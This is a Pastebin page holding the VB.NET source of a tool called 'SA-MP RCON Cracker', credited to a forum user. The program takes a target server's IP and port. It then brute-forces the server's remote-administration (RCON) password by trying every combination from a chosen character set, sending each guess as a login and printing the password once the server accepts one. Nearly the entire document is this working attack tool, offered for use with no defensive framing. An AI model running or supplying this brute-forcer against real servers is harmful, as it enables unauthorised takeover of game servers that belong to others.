Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.Collections.Generic
- Imports System.Text
- Imports System.Linq
- Imports System.IO
- Imports System.Net
- Imports System.Net.Sockets
- Module Module1
- Private Sub createNewKey(currentCharPosition As Integer, keyChars As Char(), keyLength As Integer, indexOfLastChar As Integer, ip As String, port As Integer, _
- charset As Integer)
- If Not isMatched Then
- Dim nextCharPosition = currentCharPosition + 1
- For i As Integer = 0 To charactersToTestLength - 1
- If charset = 1 Then
- Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
- "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
- "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
- "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
- "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
- "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
- "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
- "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
- "W"c, "X"c, "Y"c, "Z"c, "1"c, "2"c, _
- "3"c, "4"c, "5"c, "6"c, "7"c, "8"c, _
- "9"c, "0"c, "!"c, "$"c, "#"c, "@"c, _
- "-"c, "*"c, "&"c, "^"c, "%"c, "~"c, _
- "`"c, "["c, "]"c, "|"c, "/"c, """"c, _
- ":"c, ";"c, ":"c, "?"c, ">"c, ","c, _
- "."c, "("c, ")"c, "_"c, "-"c, "+"c, _
- "="c, "\"c}
- keyChars(currentCharPosition) = charactersToTest(i)
- If currentCharPosition < indexOfLastChar Then
- createNewKey(nextCharPosition, keyChars, keyLength, indexOfLastChar, ip, port, _
- charset)
- Else
- computedKeys += 1
- 'check rcon
- 'Query.RCONQuery sQuery = new Query.RCONQuery("127.0.0.1", 7777, (new String(keyChars)));
- Dim sQuery As New Query.RCONQuery(ip, port, (New [String](keyChars)))
- Console.Write("Checking rcon password: ")
- Console.Write(New [String](keyChars))
- Console.WriteLine("")
- If Not sQuery.Send("echo test") Then
- Console.WriteLine("ERROR: Bad IP/HostName/Port")
- Environment.[Exit](2)
- End If
- Dim count As Integer = sQuery.Recieve()
- If count = 17 Then
- If Not isMatched Then
- isMatched = True
- result = New [String](keyChars)
- Console.WriteLine("*** Success! received package: 17! ***")
- Console.WriteLine("")
- End If
- Return
- End If
- If count = 35 Then
- Console.WriteLine("Failed, received package: 35")
- End If
- End If
- End If
- If charset = 2 Then
- 'numbers
- Dim charactersToTest As Char() = {"1"c, "2"c, "3"c, "4"c, "5"c, "6"c, _
- "7"c, "8"c, "9"c, "0"c}
- keyChars(currentCharPosition) = charactersToTest(i)
- If currentCharPosition < indexOfLastChar Then
- createNewKey(nextCharPosition, keyChars, keyLength, indexOfLastChar, ip, port, _
- charset)
- Else
- computedKeys += 1
- 'check rcon
- 'Query.RCONQuery sQuery = new Query.RCONQuery("127.0.0.1", 7777, (new String(keyChars)));
- Dim sQuery As New Query.RCONQuery(ip, port, (New [String](keyChars)))
- Console.Write("Checking rcon password: ")
- Console.Write(New [String](keyChars))
- Console.WriteLine("")
- If Not sQuery.Send("echo test") Then
- Console.WriteLine("ERROR: Bad IP/HostName/Port")
- Environment.[Exit](2)
- End If
- Dim count As Integer = sQuery.Recieve()
- If count = 17 Then
- If Not isMatched Then
- isMatched = True
- result = New [String](keyChars)
- Console.WriteLine("*** Success! received package: 17! ***")
- Console.WriteLine("")
- End If
- Return
- End If
- If count = 35 Then
- Console.WriteLine("Failed, received package: 35")
- End If
- End If
- End If
- If charset = 3 Then
- 'letters
- Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
- "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
- "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
- "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
- "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
- "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
- "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
- "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
- "W"c, "X"c, "Y"c, "Z"c}
- keyChars(currentCharPosition) = charactersToTest(i)
- If currentCharPosition < indexOfLastChar Then
- createNewKey(nextCharPosition, keyChars, keyLength, indexOfLastChar, ip, port, _
- charset)
- Else
- computedKeys += 1
- 'check rcon
- 'Query.RCONQuery sQuery = new Query.RCONQuery("127.0.0.1", 7777, (new String(keyChars)));
- Dim sQuery As New Query.RCONQuery(ip, port, (New [String](keyChars)))
- Console.Write("Checking rcon password: ")
- Console.Write(New [String](keyChars))
- Console.WriteLine("")
- If Not sQuery.Send("echo test") Then
- Console.WriteLine("ERROR: Bad IP/HostName/Port")
- Environment.[Exit](2)
- End If
- Dim count As Integer = sQuery.Recieve()
- If count = 17 Then
- If Not isMatched Then
- isMatched = True
- result = New [String](keyChars)
- Console.WriteLine("*** Success! received package: 17! ***")
- Console.WriteLine("")
- End If
- Return
- End If
- If count = 35 Then
- Console.WriteLine("Failed, received package: 35")
- End If
- End If
- End If
- If charset = 4 Then
- 'special
- Dim charactersToTest As Char() = {"!"c, "$"c, "#"c, "@"c, "-"c, "*"c, _
- "&"c, "^"c, "%"c, "~"c, "`"c, "["c, _
- "]"c, "|"c, "/"c, """"c, ":"c, ";"c, _
- ":"c, "?"c, ">"c, ","c, "."c, "("c, _
- ")"c, "_"c, "-"c, "+"c, "="c, "\"c}
- keyChars(currentCharPosition) = charactersToTest(i)
- If currentCharPosition < indexOfLastChar Then
- createNewKey(nextCharPosition, keyChars, keyLength, indexOfLastChar, ip, port, _
- charset)
- Else
- computedKeys += 1
- 'check rcon
- 'Query.RCONQuery sQuery = new Query.RCONQuery("127.0.0.1", 7777, (new String(keyChars)));
- Dim sQuery As New Query.RCONQuery(ip, port, (New [String](keyChars)))
- Console.Write("Checking rcon password: ")
- Console.Write(New [String](keyChars))
- Console.WriteLine("")
- If Not sQuery.Send("echo test") Then
- Console.WriteLine("ERROR: Bad IP/HostName/Port")
- Environment.[Exit](2)
- End If
- Dim count As Integer = sQuery.Recieve()
- If count = 17 Then
- If Not isMatched Then
- isMatched = True
- result = New [String](keyChars)
- Console.WriteLine("*** Success! received package: 17! ***")
- Console.WriteLine("")
- End If
- Return
- End If
- If count = 35 Then
- Console.WriteLine("Failed, received package: 35")
- End If
- End If
- End If
- If charset = 5 Then
- 'numbers&letters
- Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
- "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
- "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
- "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
- "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
- "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
- "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
- "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
- "W"c, "X"c, "Y"c, "Z"c, "1"c, "2"c, _
- "3"c, "4"c, "5"c, "6"c, "7"c, "8"c, _
- "9"c, "0"c}
- keyChars(currentCharPosition) = charactersToTest(i)
- If currentCharPosition < indexOfLastChar Then
- createNewKey(nextCharPosition, keyChars, keyLength, indexOfLastChar, ip, port, _
- charset)
- Else
- computedKeys += 1
- 'check rcon
- 'Query.RCONQuery sQuery = new Query.RCONQuery("127.0.0.1", 7777, (new String(keyChars)));
- Dim sQuery As New Query.RCONQuery(ip, port, (New [String](keyChars)))
- Console.Write("Checking rcon password: ")
- Console.Write(New [String](keyChars))
- Console.WriteLine("")
- If Not sQuery.Send("echo test") Then
- Console.WriteLine("ERROR: Bad IP/HostName/Port")
- Environment.[Exit](2)
- End If
- Dim count As Integer = sQuery.Recieve()
- If count = 17 Then
- If Not isMatched Then
- isMatched = True
- result = New [String](keyChars)
- Console.WriteLine("*** Success! received package: 17! ***")
- Console.WriteLine("")
- End If
- Return
- End If
- If count = 35 Then
- Console.WriteLine("Failed, received package: 35")
- End If
- End If
- End If
- If charset = 6 Then
- 'letters&special
- Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
- "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
- "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
- "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
- "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
- "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
- "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
- "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
- "W"c, "X"c, "Y"c, "Z"c, "!"c, "$"c, _
- "#"c, "@"c, "-"c, "*"c, "&"c, "^"c, _
- "%"c, "~"c, "`"c, "["c, "]"c, "|"c, _
- "/"c, """"c, ":"c, ";"c, ":"c, "?"c, _
- ">"c, ","c, "."c, "("c, ")"c, "_"c, _
- "-"c, "+"c, "="c, "\"c}
- keyChars(currentCharPosition) = charactersToTest(i)
- If currentCharPosition < indexOfLastChar Then
- createNewKey(nextCharPosition, keyChars, keyLength, indexOfLastChar, ip, port, _
- charset)
- Else
- computedKeys += 1
- 'check rcon
- 'Query.RCONQuery sQuery = new Query.RCONQuery("127.0.0.1", 7777, (new String(keyChars)));
- Dim sQuery As New Query.RCONQuery(ip, port, (New [String](keyChars)))
- Console.Write("Checking rcon password: ")
- Console.Write(New [String](keyChars))
- Console.WriteLine("")
- If Not sQuery.Send("echo test") Then
- Console.WriteLine("ERROR: Bad IP/HostName/Port. Check your internet connection, and press any key to return to cracking...")
- 'Environment.Exit(2);
- Console.ReadLine()
- End If
- Dim count As Integer = sQuery.Recieve()
- If count = 17 Then
- If Not isMatched Then
- isMatched = True
- result = New [String](keyChars)
- Console.WriteLine("*** Success! received package: 17! ***")
- Console.WriteLine("")
- End If
- Return
- End If
- If count = 35 Then
- Console.WriteLine("Failed, received package: 35")
- End If
- End If
- End If
- If charset = 7 Then
- 'numbers&special
- Dim charactersToTest As Char() = {"1"c, "2"c, "3"c, "4"c, "5"c, "6"c, _
- "7"c, "8"c, "9"c, "0"c, "!"c, "$"c, _
- "#"c, "@"c, "-"c, "*"c, "&"c, "^"c, _
- "%"c, "~"c, "`"c, "["c, "]"c, "|"c, _
- "/"c, """"c, ":"c, ";"c, ":"c, "?"c, _
- ">"c, ","c, "."c, "("c, ")"c, "_"c, _
- "-"c, "+"c, "="c, "\"c}
- keyChars(currentCharPosition) = charactersToTest(i)
- If currentCharPosition < indexOfLastChar Then
- createNewKey(nextCharPosition, keyChars, keyLength, indexOfLastChar, ip, port, _
- charset)
- Else
- computedKeys += 1
- 'check rcon
- 'Query.RCONQuery sQuery = new Query.RCONQuery("127.0.0.1", 7777, (new String(keyChars)));
- Dim sQuery As New Query.RCONQuery(ip, port, (New [String](keyChars)))
- Console.Write("Checking rcon password: ")
- Console.Write(New [String](keyChars))
- Console.WriteLine("")
- If Not sQuery.Send("echo test") Then
- Console.WriteLine("ERROR: Bad IP/HostName/Port")
- Environment.[Exit](2)
- End If
- Dim count As Integer = sQuery.Recieve()
- If count = 17 Then
- If Not isMatched Then
- isMatched = True
- result = New [String](keyChars)
- Console.WriteLine("*** Success! received package: 17! ***")
- Console.WriteLine("")
- End If
- Return
- End If
- If count = 35 Then
- Console.WriteLine("Failed, received package: 35")
- End If
- End If
- End If
- Next
- End If
- End Sub
- Private result As String
- Private isMatched As Boolean = False
- Private charactersToTestLength As Integer = 0
- Private computedKeys As Long = 0
- Private Function createCharArray(length As Integer, defaultChar As Char) As Char()
- Return (From c In New Char(length - 1) {}).ToArray()
- End Function
- Private Sub startBruteForce(keyLength As Integer, ip As String, port As Integer, charset As Integer)
- If charset = 1 Then
- 'all chars
- Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
- "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
- "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
- "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
- "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
- "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
- "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
- "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
- "W"c, "X"c, "Y"c, "Z"c, "1"c, "2"c, _
- "3"c, "4"c, "5"c, "6"c, "7"c, "8"c, _
- "9"c, "0"c, "!"c, "$"c, "#"c, "@"c, _
- "-"c, "*"c, "&"c, "^"c, "%"c, "~"c, _
- "`"c, "["c, "]"c, "|"c, "/"c, """"c, _
- ":"c, ";"c, ":"c, "?"c, ">"c, ","c, _
- "."c, "("c, ")"c, "_"c, "-"c, "+"c, _
- "="c, "\"c}
- Dim keyChars = createCharArray(keyLength, charactersToTest(0))
- Dim indexOfLastChar = keyLength - 1
- createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, _
- charset)
- End If
- If charset = 2 Then
- 'numbers
- Dim charactersToTest As Char() = {"1"c, "2"c, "3"c, "4"c, "5"c, "6"c, _
- "7"c, "8"c, "9"c, "0"c}
- Dim keyChars = createCharArray(keyLength, charactersToTest(0))
- Dim indexOfLastChar = keyLength - 1
- createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, _
- charset)
- End If
- If charset = 3 Then
- 'letters
- Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
- "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
- "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
- "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
- "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
- "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
- "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
- "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
- "W"c, "X"c, "Y"c, "Z"c}
- Dim keyChars = createCharArray(keyLength, charactersToTest(0))
- Dim indexOfLastChar = keyLength - 1
- createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, _
- charset)
- End If
- If charset = 4 Then
- 'special
- Dim charactersToTest As Char() = {"!"c, "$"c, "#"c, "@"c, "-"c, "*"c, _
- "&"c, "^"c, "%"c, "~"c, "`"c, "["c, _
- "]"c, "|"c, "/"c, """"c, ":"c, ";"c, _
- ":"c, "?"c, ">"c, ","c, "."c, "("c, _
- ")"c, "_"c, "-"c, "+"c, "="c, "\"c}
- Dim keyChars = createCharArray(keyLength, charactersToTest(0))
- Dim indexOfLastChar = keyLength - 1
- createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, _
- charset)
- End If
- If charset = 5 Then
- 'numbers&letters
- Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
- "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
- "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
- "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
- "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
- "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
- "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
- "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
- "W"c, "X"c, "Y"c, "Z"c, "1"c, "2"c, _
- "3"c, "4"c, "5"c, "6"c, "7"c, "8"c, _
- "9"c, "0"c}
- Dim keyChars = createCharArray(keyLength, charactersToTest(0))
- Dim indexOfLastChar = keyLength - 1
- createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, _
- charset)
- End If
- If charset = 6 Then
- 'letters&special
- Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
- "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
- "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
- "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
- "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
- "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
- "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
- "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
- "W"c, "X"c, "Y"c, "Z"c, "!"c, "$"c, _
- "#"c, "@"c, "-"c, "*"c, "&"c, "^"c, _
- "%"c, "~"c, "`"c, "["c, "]"c, "|"c, _
- "/"c, """"c, ":"c, ";"c, ":"c, "?"c, _
- ">"c, ","c, "."c, "("c, ")"c, "_"c, _
- "-"c, "+"c, "="c, "\"c}
- Dim keyChars = createCharArray(keyLength, charactersToTest(0))
- Dim indexOfLastChar = keyLength - 1
- createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, _
- charset)
- End If
- If charset = 7 Then
- 'numbers&special
- Dim charactersToTest As Char() = {"1"c, "2"c, "3"c, "4"c, "5"c, "6"c, _
- "7"c, "8"c, "9"c, "0"c, "!"c, "$"c, _
- "#"c, "@"c, "-"c, "*"c, "&"c, "^"c, _
- "%"c, "~"c, "`"c, "["c, "]"c, "|"c, _
- "/"c, """"c, ":"c, ";"c, ":"c, "?"c, _
- ">"c, ","c, "."c, "("c, ")"c, "_"c, _
- "-"c, "+"c, "="c, "\"c}
- Dim keyChars = createCharArray(keyLength, charactersToTest(0))
- Dim indexOfLastChar = keyLength - 1
- createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, _
- charset)
- End If
- End Sub
- Sub Main()
- Console.Title = "SA-MP RCON CRACKER 0.1"
- Console.ForegroundColor = ConsoleColor.Blue
- Console.WriteLine("SA-MP RCON Cracker 0.1")
- Console.ForegroundColor = ConsoleColor.Green
- Console.WriteLine("")
- Console.WriteLine("Tested on SA:MP 0.3a, 0.3b, 0.3c [ALL RELEASES]")
- Console.WriteLine("")
- Console.WriteLine("Cracking is very slow due to limits in SA:MP 0.3")
- Console.WriteLine("")
- Console.WriteLine("Made By Matthieu503 of MPGH.net")
- Console.WriteLine("")
- Console.WriteLine("Opening Thread - Please use the browser to check for Updates")
- 'Console.WriteLine("")
- Console.WriteLine("Made in Visual Studio 2012")
- Console.WriteLine("")
- Process.Start("http://www.mpgh.net/forum/33-visual-basic-programming/538066-sa-mp-rcon-cracker-0-3-a.html")
- Console.WriteLine("")
- Console.WriteLine("Thread has opened up.")
- Console.WriteLine("")
- Console.WriteLine("")
- MsgBox("Please Enter IP", MsgBoxStyle.OkOnly)
- Console.ForegroundColor = ConsoleColor.Cyan
- #If (args) Then
- If args.Length = 0 Then
- Console.WriteLine("USAGE: rcon_brute [ip] [port] [charset type] [password lenght]")
- Console.WriteLine("Charsets: 1 - All chars, 2 - Numbers, 3 - Letters, 4 - Special chars (e.g. *&%), 5 - Numbers&Letters, 6 - Letters&Special, 7 - Numbers&Special")
- Environment.[Exit](1)
- End If
- #End If
- #If (args) Then
- Dim ip As String = args(0)
- Dim port As Integer = Int32.Parse(args(1))
- Dim charset As Integer = Int32.Parse(args(2))
- #Else
- Console.WriteLine("Enter target IP/HostName: ")
- Dim ip As String = Console.ReadLine()
- Console.WriteLine("Enter target port: ")
- Dim port As Integer = Int32.Parse(Console.ReadLine())
- Console.WriteLine("Select charset type: ")
- Console.WriteLine("Charsets: 1 - All chars, 2 - Numbers, 3 - Letters, 4 - Special chars (e.g. *&%), 5 - Numbers&Letters, 6 - Letters&Special, 7 - Numbers&Special")
- Dim charset As Integer = Int32.Parse(Console.ReadLine())
- Console.WriteLine("Enter password lenght (cracking will start with this lenght, type 1 to normal mode): ")
- Dim count As Integer = Int32.Parse(Console.ReadLine())
- #End If
- If charset = 1 Then
- 'all chars
- Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
- "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
- "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
- "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
- "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
- "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
- "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
- "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
- "W"c, "X"c, "Y"c, "Z"c, "1"c, "2"c, _
- "3"c, "4"c, "5"c, "6"c, "7"c, "8"c, _
- "9"c, "0"c, "!"c, "$"c, "#"c, "@"c, _
- "-"c, "*"c, "&"c, "^"c, "%"c, "~"c, _
- "`"c, "["c, "]"c, "|"c, "/"c, """"c, _
- ":"c, ";"c, ":"c, "?"c, ">"c, ","c, _
- "."c, "("c, ")"c, "_"c, "-"c, "+"c, _
- "="c, "\"c}
- 'start bruter
- Dim timeStarted = DateTime.Now
- Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port)
- charactersToTestLength = charactersToTest.Length
- Dim estimatedPasswordLength = count - 1
- While Not isMatched
- estimatedPasswordLength += 1
- startBruteForce(estimatedPasswordLength, ip, port, charset)
- End While
- Console.WriteLine("Password matched: {0}", DateTime.Now.ToString())
- Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds)
- Console.WriteLine("Resolved password: {0}", result)
- Console.WriteLine("Computed keys: {0}", computedKeys)
- Console.ReadLine()
- End If
- If charset = 2 Then
- 'numbers
- Dim charactersToTest As Char() = {"1"c, "2"c, "3"c, "4"c, "5"c, "6"c, _
- "7"c, "8"c, "9"c, "0"c}
- 'start bruter
- Dim timeStarted = DateTime.Now
- Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port)
- charactersToTestLength = charactersToTest.Length
- Dim estimatedPasswordLength = count - 1
- While Not isMatched
- estimatedPasswordLength += 1
- startBruteForce(estimatedPasswordLength, ip, port, charset)
- End While
- Console.WriteLine("Password matched: {0}", DateTime.Now.ToString())
- Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds)
- Console.WriteLine("Resolved password: {0}", result)
- Console.WriteLine("Computed keys: {0}", computedKeys)
- Console.ReadLine()
- End If
- If charset = 3 Then
- 'letters
- Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
- "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
- "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
- "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
- "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
- "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
- "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
- "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
- "W"c, "X"c, "Y"c, "Z"c}
- 'start bruter
- Dim timeStarted = DateTime.Now
- Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port)
- charactersToTestLength = charactersToTest.Length
- Dim estimatedPasswordLength = count - 1
- While Not isMatched
- estimatedPasswordLength += 1
- startBruteForce(estimatedPasswordLength, ip, port, charset)
- End While
- Console.WriteLine("Password matched: {0}", DateTime.Now.ToString())
- Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds)
- Console.WriteLine("Resolved password: {0}", result)
- Console.WriteLine("Computed keys: {0}", computedKeys)
- Console.ReadLine()
- End If
- If charset = 4 Then
- 'special
- Dim charactersToTest As Char() = {"!"c, "$"c, "#"c, "@"c, "-"c, "*"c, _
- "&"c, "^"c, "%"c, "~"c, "`"c, "["c, _
- "]"c, "|"c, "/"c, """"c, ":"c, ";"c, _
- ":"c, "?"c, ">"c, ","c, "."c, "("c, _
- ")"c, "_"c, "-"c, "+"c, "="c, "\"c}
- 'start bruter
- Dim timeStarted = DateTime.Now
- Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port)
- charactersToTestLength = charactersToTest.Length
- Dim estimatedPasswordLength = count - 1
- While Not isMatched
- estimatedPasswordLength += 1
- startBruteForce(estimatedPasswordLength, ip, port, charset)
- End While
- Console.WriteLine("Password matched: {0}", DateTime.Now.ToString())
- Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds)
- Console.WriteLine("Resolved password: {0}", result)
- Console.WriteLine("Computed keys: {0}", computedKeys)
- Console.ReadLine()
- End If
- If charset = 5 Then
- 'numbers&letters
- Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
- "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
- "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
- "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
- "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
- "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
- "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
- "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
- "W"c, "X"c, "Y"c, "Z"c, "1"c, "2"c, _
- "3"c, "4"c, "5"c, "6"c, "7"c, "8"c, _
- "9"c, "0"c}
- 'start bruter
- Dim timeStarted = DateTime.Now
- Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port)
- charactersToTestLength = charactersToTest.Length
- Dim estimatedPasswordLength = count - 1
- While Not isMatched
- estimatedPasswordLength += 1
- startBruteForce(estimatedPasswordLength, ip, port, charset)
- End While
- Console.WriteLine("Password matched: {0}", DateTime.Now.ToString())
- Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds)
- Console.WriteLine("Resolved password: {0}", result)
- Console.WriteLine("Computed keys: {0}", computedKeys)
- Console.ReadLine()
- End If
- If charset = 6 Then
- 'letters&special
- Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
- "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
- "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
- "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
- "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
- "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
- "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
- "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
- "W"c, "X"c, "Y"c, "Z"c, "!"c, "$"c, _
- "#"c, "@"c, "-"c, "*"c, "&"c, "^"c, _
- "%"c, "~"c, "`"c, "["c, "]"c, "|"c, _
- "/"c, """"c, ":"c, ";"c, ":"c, "?"c, _
- ">"c, ","c, "."c, "("c, ")"c, "_"c, _
- "-"c, "+"c, "="c, "\"c}
- 'start bruter
- Dim timeStarted = DateTime.Now
- Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port)
- charactersToTestLength = charactersToTest.Length
- Dim estimatedPasswordLength = count - 1
- While Not isMatched
- estimatedPasswordLength += 1
- startBruteForce(estimatedPasswordLength, ip, port, charset)
- End While
- Console.WriteLine("Password matched: {0}", DateTime.Now.ToString())
- Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds)
- Console.WriteLine("Resolved password: {0}", result)
- Console.WriteLine("Computed keys: {0}", computedKeys)
- Console.ReadLine()
- End If
- If charset = 7 Then
- 'numbers&special
- Dim charactersToTest As Char() = {"1"c, "2"c, "3"c, "4"c, "5"c, "6"c, _
- "7"c, "8"c, "9"c, "0"c, "!"c, "$"c, _
- "#"c, "@"c, "-"c, "*"c, "&"c, "^"c, _
- "%"c, "~"c, "`"c, "["c, "]"c, "|"c, _
- "/"c, """"c, ":"c, ";"c, ":"c, "?"c, _
- ">"c, ","c, "."c, "("c, ")"c, "_"c, _
- "-"c, "+"c, "="c, "\"c}
- 'start bruter
- Dim timeStarted = DateTime.Now
- Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port)
- charactersToTestLength = charactersToTest.Length
- Dim estimatedPasswordLength = count - 1
- While Not isMatched
- estimatedPasswordLength += 1
- startBruteForce(estimatedPasswordLength, ip, port, charset)
- End While
- Console.WriteLine("Password matched: {0}", DateTime.Now.ToString())
- Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds)
- Console.WriteLine("Resolved password: {0}", result)
- Console.WriteLine("Computed keys: {0}", computedKeys)
- Console.ReadLine()
- End If
- End Sub
- End Module
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement